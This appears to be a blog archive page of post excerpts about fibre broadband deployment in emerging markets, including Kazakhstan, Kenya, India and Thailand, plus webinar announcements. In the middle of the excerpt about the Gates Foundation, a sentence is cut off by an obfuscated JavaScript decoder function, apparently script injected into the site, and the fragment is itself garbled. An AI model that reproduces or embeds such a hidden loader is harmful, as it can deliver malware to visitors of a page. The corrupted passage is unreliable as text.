Connectivity Models for Developing Economies

There are recurring misconceptions about broadband in emerging markets. These are considered "truths"

FTTH in Kazakhstan (Would you Believe It?)

It seems that the days of Borat are over: state of the art fiber infrastructure is being deployed into the homes of Astana, the capital city. Not much is known about this project except that the infrastructure is an Alcatel

JTL to connect 100k homes with FTTH in Nairobi

I thought I was ahead of the curve with this FTTH in Emerging Markets thing, but it's starting to look like I'm just catching up. This little bit of news has attracted my attention. Kenyan metro fiber provider Jamii Telecom

Emerging Fiber

I have already written on the case for FTTP in emerging markets. I’ve only been in India for two days, visiting FTTP installations

Radius Infratel Opens Up the Commonwealth Games Village

To those of us who were never part of the Commonwealth, it may seem like a little thing, but to the countries who were once under British Rule, especially in Asia-Pacific, the Commonwealth Games are big deal. And that's why

FTTH in Bangkok!

I'd missed an announcement last week that CAT Telecom, one of the state-owned incumbents in Thailand had been green-lighted to deploy Fiber

Bill and Melinda to (co)invest in Fiber!

I felt really weird this morning when I found out about this, only a couple of days after function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand.html”running a webinar on

Webinar: Emerging Markets & Next-Gen Broadband

Yesterday’s Webinar on Emerging Markets & Next-Gen Broadband was very successful (highest number of attendees of any webinar I hosted or co-hosted)

Free Webinar: Emerging Markets and Next-Gen Broadband

Next Tuesday I'll be running a free online webinar on NGA in Emerging Markets. Anyone can join, you just have to register here.

Here's the pitch:

Assumptions about Anywhere Network® deployment opportunities

The Bottom Line Ep. 2: Growth vs. Mature markets

Because of the very topic covered by this blog, there tends to be a lot more mature market coverage than growth market coverage. And yet the stakes of bringing or enhancing connectivity in growth markets are so much higher! I